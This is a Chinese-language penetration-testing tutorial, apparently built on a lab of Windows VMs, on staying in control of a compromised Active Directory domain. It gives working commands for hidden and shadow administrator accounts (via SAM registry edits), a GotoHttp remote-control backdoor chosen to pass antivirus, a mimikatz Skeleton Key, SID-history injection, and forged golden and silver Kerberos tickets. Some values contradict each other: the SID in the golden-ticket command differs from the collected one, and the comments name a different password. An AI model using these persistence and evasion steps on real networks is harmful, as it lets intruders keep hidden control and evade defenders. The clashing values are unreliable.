目录
- 环境说明
-
- 1、DC
- 2、WebServer
- [3、SQL Server](#3、SQL Server)
- 4、FileServer
- 5、Marry
- 6、Jack
- 一、创建隐藏账户
- 二、利用GotoHttp远程连接
- [三、基于登录进程劫持(Skeleton Key技术)](#三、基于登录进程劫持(Skeleton Key技术))
- [四、基于用户属性修改(SID history)](#四、基于用户属性修改(SID history))
- 五、黄金白银票据
在内网渗透中,获取目标主机权限后,通常需要通过建立后门等方式实现权限维持,确保在漏洞被修复后仍可持续控制目标。因此,权限维持是内网渗透中的关键环节之一。
环境说明
注意:①主机的开启顺序一定为DC、WebServer、FileServer或SQL Server、Mary或Jack。②环境在资源"内网环境文件(5台Vmware虚拟机环境)"中获取。
1、DC
| 名称 | 值 |
|---|---|
| 操作系统 | Windows Server 2008 |
| IP地址 | 102.168.179.21 |

2、WebServer
| 名称 | 值 |
|---|---|
| 操作系统 | Windows Server 2008 |
| IP地址 | 102.168.179.31 |

3、SQL Server
| 名称 | 值 |
|---|---|
| 操作系统 | Windows Server 2012 |
| IP地址 | 102.168.179.32 |

4、FileServer
| 名称 | 值 |
|---|---|
| 操作系统 | Windows Server 2003 |
| IP地址 | 102.168.179.30 |

5、Marry
| 名称 | 值 |
|---|---|
| 操作系统 | Windows 7 |
| IP地址 | 102.168.179.25 |

6、Jack
| 名称 | 值 |
|---|---|
| 操作系统 | Windows 8.1 |
| IP地址 | 102.168.179.29 |

一、创建隐藏账户
1、CreateHiddenAccount工具
操作主机:DC(Windows Server 2008)
创建隐藏账户后,可通过 3389 远程桌面控制目标;该隐藏账户命令行无法查到,仅控制面板可见。
Step1:上传CreateHiddenAccount_upx_v0.2.exe工具创建隐藏账户

Step2:进入CMD命令行,调用工具
bash
#利用CreateHiddenAccount_upx_v0.2.exe工具创建一个隐藏账户:用户名klimov;密码xiaolin!@#45
C:> CreateHiddenAccount_upx_v0.2.exe -u klimov -p klimov!@#45

Step3:用命令查看隐藏用户是否存在
工具创建的隐藏账户,常规命令无法检测,仅在计算机用户列表可查,且归属管理员组。
bash
C:> net user /domain

Step4:用工具检查是否具有隐藏用户
bash
C:> CreateHiddenAccount_upx_v0.2.exe -c

该工具支持域环境和单机环境;且在单机下创建隐藏账户,常规方式无法删除。
2、影子账户
影子账户即隐藏管理员账户,在 CMD 和计算机管理中均不可见,却拥有管理员权限。该概念伴随 Windows 系统出现,属于黑客权限维持后门技术。因其隐蔽性高,入侵者常在被控主机植入,用于远程登录操控设备。
操作主机:Jack(Windows 8.1)
操作账户(本地账号):
- 账号:.\jack
- 密码:admin
(1)影子账户利用思路
- 克隆管理员Administrator账户权限
- 需要注意管理员帐户是否被禁用,如果被禁用,那么克隆出的隐藏帐户也是被禁用状态。
- 复制已有账户
- 在3389远程登录的利用上存在相同帐户的冲突关系
- 如果系统当前登录帐号为a,那么使用由账户a克隆来的隐藏帐户aaa$登录的话,会系统被识别为帐户a,导致帐户a下线
- 新建账户再复制
- 新建管理员帐户b,克隆帐户b,建立隐藏账户bbb$
- 删除管理员帐户b,隐藏账户bbb$仍然有效
- 原账户的维持
- 克隆帐户a的权限,建立隐藏帐户aaa$
- 修改帐户a的密码,隐藏帐户aaa$仍然有效
(2)创建影子账户
Step1:以管理员身份打开CMD,并创建一个名为aaa$的用户
bash
C:> net user aaa$ Admin12345 /add
C:> net localgroup administrators aaa$ /add
Step2:在管理员权限的CMD中,使用regedit命令打开注册表
位置:
bash
HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/
提高权限,让非管理员用户也能查看SAN。

已创建好的隐藏用户。

Step3:修改隐藏用户$aaa的十六进制值为Administrators


找到Administrator的十六进制数字,复制Administrator的000001F4文件夹里面的F值到隐藏账户aaa$里面的F值中。


Step4:找到Names里面的aaa$对应的十六进制目录,右键导出并保存

Step5:命令删除aaa$用户

Step6:将刚刚导出的注册表信息重新导入(双击文件导入即可)
Step7:使用影子账户aaa$登录,其实是以Administrator的身份登录的

注意 :登录所用的账户有格式要求。登录的账户和密码为:
-
账户:.\aaa$
-
密码:Admin12345
二、利用GotoHttp远程连接
- 使用优势:远控软件在内网渗透中应用广泛。CS、MSF生成的后门需要进行免杀处理;向日葵、ToDesk等民用远控被安全厂商加入白名单,无需免杀即可控制服务器。
- 使用方式:软件免安装,上传至目标主机后可直接运行。
- 运行特征:程序运行后会在当前目录生成记录文件,内含设备ID与控制码,读取文件即可获取信息。
要求:
-
远控软件无需安装,注册,实名,拿来即用,快捷方便,匿名性较好。
-
远控软件无需管理员权限也可使用,可以在提权困难或失败等某些特殊场景下快速横向。
-
远控软件被控端是免杀的,因为远控软件基本上都有可信的数字证书签名,所以大部分的远控软件都是满足条件的。
-
远控软件被控端体积尽可能小,方便上传部署。
-
远控软件支持跨平台,满足一些特殊场景需要。
-
远控软件在不出网纯内网的情况下也可以使用。
-
远控软件开源的话更好,安全可控,还能自定义修改。
Step1:上传到DC主机并运行

Step2:在本地浏览器打开文件中的网址,输入ID值和控制码信息,即可在浏览器上控制对方


-
优点
- 无需安装控制端软件,有浏览器就可以远控
- 流量走的https协议,只要目标放行443端口就可以实现
- 低带宽环境下也可以使用,运行占用内存和CPU极低
-
缺点
- 目标有网络,且不封堵https
- 目标主机休眠状态下唤醒远程控制,会导致安全卫士的拦截。但是其他软件不会拦截(可以使用该软件手动关闭杀毒软件)
三、基于登录进程劫持(Skeleton Key技术)
Step1:域内的某个用户与DC通讯
bash
# 当与DC域控主机没有建立连接的时候,执行命令时会报拒绝访问
C:\> dir \\owa2010cn-god\c$
# 当使用收集到的凭据信息去发起连接之后,再次执行命令时,可正常执行命令
C:\> net use \\owa2010cn-god\ipc$ "Admin12345" /user:god.org\administrator
C:\> dir \\owa2010cn-god\c$

Step2:此时凭借着已经取得的DC域控的权限,使用mimikatz工具写入万能密码
bash
#写入万能密码:
mimikatz # privilege::debug
#刷新,保存
mimikatz # misc::skeleton

Step3:写入万能密码之后,可以直接在其他域控主机上使用万能密码连接DC域控主机
bash
C:\> net use \\owa2010cn-god\ipc$ "mimikatz" /user:god.org\administrator
C:\> dir \\owa2010cn-god\c$

这种权限维持的方式有一定的缺点!因为Skeleton Key技术是被注入到"lsass.exe"进程的,所以他只存在内存中,如DC域控重启,"lsass.exe"进程将会重新加载,那么万能密码将失效!
bash
# 断开所有到目标主机的连接
C:\> net use \\owa2010cn-god\ipc$ /delete
# 或直接断开所有已建立的连接(如果只有这一条)
C:\> net use * /del /y
Step4:重启DC域控之后,重新测试域内用户和DC通讯
bash
C:\> net use \\owa2010cn-god\ipc$ "mimikatz" /user:god.org\administrator
C:\> dir \\owa2010cn-god\c$

四、基于用户属性修改(SID history)
Step1:获取DC域控的权限之后,调用powershell执行命令获取内某用户的SID属性
bash
#powershell执行命令:
C:\> Import-Module ActiveDirectory
C:\> Get-ADUser webadmin-Properties sidhistory

bash
# 此命令在cmd可执行
C:\> wmic useraccount get sid,name

Step2:mimikatz添加SID History后门
bash
# 将administrator的SID添加到webadmin的SID History属性中
mimikatz # privilege::debug
mimikatz # sid::patch
mimikatz # sid::add /sam:webadmin /new:administrator

Step3:此时再次使用PowerShell查看test用户的SID History(发现已经具备了管理员的权限)
bash
C:\> Import-Module activedirectory
C:\> Get-ADUser webadmin -Properties sidhistory

Step4:使用webadmin域用户直接连接DC域控主机

五、黄金白银票据
1、黄金票据制作
备注:在横向移动过程中可以利用信息收集过程中去获得。后续操作均在Web Server中操作。
Step1:利用mimikatz获取krbtgt账户的hash值,并导出
krbtgt是Windows域中的默认管理员账户,它是域控制器使用的账户。该账户由LDAP和Kerberos认证系统使用,并且在域环境中的每个域控制器上都存在一个krbtgt账户。这个账户的主要作用是为了帮助用户和应用程序使用Kerberos进行身份验证,并授权票据。
bash
# 获取hash值:
mimikatz # privilege::debug
# 导出hash值:
mimikatz # lsadump::lsa /patch

bash
# krbtgt账户的hash值:
b097d7ed97495408e1537f706c357fc5
Step2:在受控主机上执行命令获取域的SID值
bash
# 获取当前受控主机的SID值:
C:\> whoami/all
# 获取所有SID值:
C:\> wmic useraccount get sid,name

bash
# SID值:
S-1-5-21-1218902331-2157346161-1782232778
Step3:利用mimikatz生成票据
bash
mimikatz # kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-782232778 /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:klimov

Step4:把生成出来的票据导入到被控机的内存中(导入之前要先清除当前所有票据)
bash
# 查看票据:
C:\> klist
# 清除所有票据:
C:\> klist purge
Step5:利用mimikatz将刚刚伪造的黄金票据(xiaolin)导入到内存中
bash
mimikatz # Kerberos::ptt klimov

受控机CMD检查票据
bash
C:\> klist

Step6:利用票据,连接域控主机
bash
C:\> dir \\owa2010cn-god\c$

2、白银票据制作
白银票据需拿下域控、获取其 hash;黄金票据需拿下 krbtgt 账号 hash,二者分别用对应 hash 伪造票据攻击。
Step1:获取当前受控主机的SID(DC主机中操作)
bash
# 获取当前受控主机的SID值:
C:\> whoami/all
# 获取所有SID值:
C:\> wmic useraccount get sid,name

bash
# SID值:
S-1-5-21-1218902331-2157346161-1782232778
Step2:获取域管理员账户的hash值(DC主机中操作)
bash
# 1. 先设置输出日志文件
mimikatz # log mimikatz_output.txt
# 2. 运行你需要的命令(所有输出都会写入文件)
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
# 3. 停止日志记录
mimikatz # log stop
注意:当前域控主机名是owa2010cn-god,所以选择hash值的时候要选择对应的主机名的hash值。

Step3:查看受控机器上所有的票据,并清除(成员主机中操作)
bash
#查看票据:
C:\> klist
#清除所有票据:
C:\> klist purge
Step4:利用mimikatz伪造白银票据(成员主机中操作)
bash
mimikatz # kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:owa2010cn-god /service:cifs /rc4:d6c10e6e4446d6a965f22b657debdb54 /ptt
参数说明:
- 伪造用户:webadmin
- target:要访问的服务器
- service:要访问的资源类型
- cifs:共享文件
- 调用mimikatz输入命令利用收集到的域管用户的hash值和受控主机的SID值伪造白银票据
备注:白银票据对比黄金票据光看名字就知道谁更牛逼了~~伪造白银票据只能访问特定的服务

Step5 :利用票据,连接域控主机(成员主机中操作)

黄金票据和白银票据的区别:
- 黄金票据:伪造的票据可以获取任意的访问权限;由krbtgt NTLM hash加密
- 白银票据:只能访问指定的服务,如CIFS;由服务账号的NTLM hash加密